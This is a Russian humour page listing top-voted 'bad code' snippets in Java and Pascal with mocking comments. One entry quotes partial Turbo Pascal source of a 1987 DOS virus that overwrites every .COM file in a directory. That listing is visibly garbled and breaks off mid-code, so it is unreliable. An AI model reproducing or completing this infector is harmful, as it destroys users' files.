Лучший говнокод за всё время

Лучший говнокод

В номинации:

Лучший рейтинг
Самый комментируемый

За время:

Java / Говнокод #12059

+94

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

String s="a, b, c, d,,,";
		
		String[] spl=s.split ( "," );
		o.println(spl.length);
		for (String s1: spl)
			o.print(s1+";");
//4
//a; b; c; d;
		StringTokenizer st=new StringTokenizer(s);
		o.println("\n"+st.countTokens ());
		while (st.hasMoreElements ()){
			o.print(
				st.nextToken ()+";"
			);
		}
//4
//a,;b,;c,;d,,,;
		st=new StringTokenizer(s,",");
		o.println("\n"+st.countTokens ());
		while (st.hasMoreElements ()){
			o.print(
				st.nextToken ()+";"
			);
		}
//4
//a; b; c; d;

http://ideone.com/zh0paB
Очередной сюжет из серии JavaGovno.

3.14159265, 05 Ноября 2012

Комментарии (9)

Pascal / Говнокод #11342

+94

01
02
03
04
05
06
07
08
09
10
11
12
13

function Dist(dx, dy: integer): integer;  
begin
  //result := trunc(sqrt(sqr(dx)+sqr(dy)));
  dx := abs(dx);
  dy := abs(dy);
  if dx>dy then begin
    dy := dy shr 1 - dx shr 3;
    if dy >= 0 then result := dx+dy else result := dx;
  end else begin
    dx := dx shr 1 - dy shr 3;
    if dx >= 0 then result := dx+dy else result := dy;
  end;
end;

Ещё по теме приближённых расчётов в игровом движке.

TarasB, 02 Июля 2012

Комментарии (26)

Pascal / Говнокод #10538

+94

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100

{
-----------------------------------------------------------------

Number One

This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}

MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}

Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }

--Program code-------------------------------------------------------

Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}

if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;

http://www.liveinternet.ru/users/gafarov-91/post120984751/

Первая часть.

dos_, 03 Июня 2012

Комментарии (17)

Pascal / Говнокод #9812

+94

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18

var
   one, two, free, four:string;
begin
   one:=sLabel14.Caption+slabel14.caption;
   two:=sLabel1.Caption+slabel15.caption;
   free:=sLabel10.Caption+slabel16.caption;
   four:=sLabel7.Caption+slabel17.caption;

   if ((one = two) or (one = free) or (one = four)
   or (two = one) or (two = free) or (two = four)
   or (free = one) or (free = two) or (free = four)
   or (four = one) or (four = two) or (four = free))
   then begin
       showmessage('Значения должны быть различными');
   end
   else begin
       showmessage('Успешно сохранено');
   end;

Ну не лол?

penkovsky1, 29 Марта 2012

Комментарии (18)

Pascal / Говнокод #9266

+94

01
02
03
04
05
06
07
08
09
10
11
12

for k:=1 to 5 do begin
new (z2);
z2^.pole1:=k;
z2^.pole2:=z1;
z1:=z2;
end;

for k:=1 to 5 do begin
z2^.pole3:=z1;
z1:=z2;
z2:=z2^.pole2;
end;

Вот так в нашем универе учат создавать двунаправленые массивы. Код кстати не только принципиально индусский, но еще и не рабочий.

Tairesh, 31 Января 2012

Комментарии (5)

Java / Говнокод #8431

+94

1
2
3
4
5

@Override public int hashCode()
    {
        int hash = 7;
        return hash;
    }

Ну это явно хит!

dwinner, 06 Ноября 2011

Комментарии (46)

Java / Говнокод #8260

+94

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

/**
 * Interface for string cleaners. Defines method that takes a string to perform cleaning and returns
 * cleaned string.
 * 
 * @author Король Абстракций.
 * @version 1.0 29.04.2011
 *
 */
public interface StringCleaner {
	//---------------------------------------------------------------------------------------------
	/**
	 * Cleans given string. Returns cleaned string.
	 * @param string String to clean
	 * @return Cleaned string
	 * @throws NullPointerException <code>If string == null</code>
	 * @since 1.0
	 */
	public String clean(String string);
	//---------------------------------------------------------------------------------------------
}

// Далее реализации.

public abstract class SymbolStringCleaner implements StringCleaner { ... }
public final class AllSymbolStringCleaner extends SymbolStringCleaner { ... }
public final class RepeatedSymbolStringCleaner extends SymbolStringCleaner { ... }
public class TrimStringCleaner extends SymbolStringCleaner { ... }
public final class CombinedStringCleaner implements StringCleaner { ... }

// Пример использования.

public class StringCleanerFactory {
	private static final char END_OF_LINE_SYMBOL = '\n';
	
	public static synchronized StringCleaner createCommonStringCleaner() {
		char[] symbolsToExclude = new char[] {' ', END_OF_LINE_SYMBOL};
		StringCleaner repeatedSymbolsCleaner = new RepeatedSymbolStringCleaner(symbolsToExclude);
		StringCleaner trimCleaner = new TrimStringCleaner(symbolsToExclude, true, true);
		
		CombinedStringCleaner resultCleaner = new CombinedStringCleaner();
		resultCleaner.add(repeatedSymbolsCleaner);
		resultCleaner.add(trimCleaner);
		return resultCleaner;
	}
}

// В реале выходит что-то вроде

return str.trim().replace(" \n", '');

Очистка строк огнем инквизиции еше никогда не была настолько абстрактной.

P.S.

Я удалял этот StringCleaner API 3 раза, и каждый раз наши адепты стринг клинеров под любым
предлогом поднимали это г***о из анналов ада (svn history). Последний раз я сдался и этот
ёжик теперь живет с нами.

enikey, 21 Октября 2011

Комментарии (61)

Pascal / Говнокод #7253

+94

1
2
3
4
5
6
7

var s:string;
begin
cs.Active:=true; //Коннектимся
if cs.Socket.Connected=true then begin //Если подключились то
memo1.lines.add('Соединение установленно...'); //пишим в memo
end else //в противном случае пишим это
memo1.lines.add('Соединение неустановленно...'); //<--вот это :)

>теперь у формы в событии OnGreate пишим
Это капец....
http://forum.hackforce.ru/thread1685.html#post405879

Govnocoder#0xFF, 15 Июля 2011

Комментарии (22)

Pascal / Говнокод #6797

+94

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

procedure rayxtriangle(Xa,Ya,Za, {Точка отправления луча}
                                    X1,Y1,Z1,X2,Y2,Z2,X3,Y3,Z3 : real; {Координаты полигона (триангла)}
                                    Vx,Vy,Vz : real;{Вектор направления луча} Var Xc,Yc,Zc : real;{Точка пересечения}
                                    bol : boolean {Для проверки пересечения триангла});
Var A,B,C,D : real;
      k : real;
      ac1,ac2,ac3 : real;
begin
  A:=(Y2-Y1)*(Z3-Z1)-(Z2-Z1)*(Y3-Y1); //Вычисляем вектор нормали к треугольному полигону (векторное произведение)
  B:=(Z2-Z1)*(X3-X1)-(X2-X1)*(Z3-Z1);
  C:=(X2-X1)*(Y3-Y1)-(Y2-Y1)*(X3-X1);
  D:=-A*X1-B*Y1-C*Z1;
  k:=-(A*Xa+B*Ya+C*Za+D)/(A*Vx+B*Vy+C*Vz); //поскольку вектора луча (Vx Vy Vz) и вектор с даной
                                                                              //точки к точке пересечения (Xc-Xa, Yc-Ya, Zc-Za) - колинеарны
                                                                              //ето соотношение выведено мною, обьяснение было раньше (в предыдущем ответе)
  Xc:=k*Vx+Xa; //Вычисляем точку пересечения луча с полигоном
  Yc:=k*Vy+Ya;
  Zc:=k*Vz+Za;
                        //здесь проверяем лежыт ли даная точка в треугольном полигоне
                        //ac1,ac2,ac3 арккосинусы углов между векторами с точки пересечения (Xc Yc Zc)
                        //к вершинам треугольника (из скалярного произведения) 
                        //Для других полигонов (4,5,6... и т.д. угольных) надо побольше вычислений 
  ac1:=arccos(((x1-xc)*(x2-xc)+(y1-yc)*(y2-yc)+(z1-zc)*(z2-zc))/(sqrt(sqr(x1-xc)+sqr(y1-yc)+sqr(z1-zc))*sqrt(sqr(x2-xc)+sqr(y2-yc)+sqr(z2-zc))));
  ac2:=arccos(((x2-xc)*(x3-xc)+(y2-yc)*(y3-yc)+(z2-zc)*(z3-zc))/(sqrt(sqr(x2-xc)+sqr(y2-yc)+sqr(z2-zc))*sqrt(sqr(x3-xc)+sqr(y3-yc)+sqr(z3-zc)))); 
  ac3:=arccos(((x3-xc)*(x1-xc)+(y3-yc)*(y1-yc)+(z3-zc)*(z1-zc))/(sqrt(sqr(x3-xc)+sqr(y3-yc)+sqr(z3-zc))*sqrt(sqr(x1-xc)+sqr(y1-yc)+sqr(z1-zc)))); 
  if (ac1+ac2+ac3=pi) then bol:=true else bol:=false; //Если сума етих углов=360 градусов значит точка в треугольнике
  //Если точка пересечения найдена тогда bol=true и ее координаты Xc Yc Zc                              
end;

А всё потому, что векторную алгебру надо знать, любить и уважать, ибо иначе такая хрень выходит.
Источник: http://www.gamedev.ru/code/forum/?id=148128

TarasB, 31 Мая 2011

Комментарии (13)

Pascal / Говнокод #6423

+94

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15

program Calc;
uses CRT;
const Year = 2009;
var BY, Age: Integer;
begin
	ClrScr;
	Write ('Год вашего рождения');
	ReadLn(BY);
	if BY < Year then
	begin
		Age :=BY-Year;
		WriteLn('Ваш возраст: ', Age);
	end else WriteLn('Ошибка ввода!');
	ReadLn;
end;

Фигово, когда у человека нету логики....

toxicDuck, 20 Апреля 2011

Комментарии (9)

Говнокод: по колено в коде.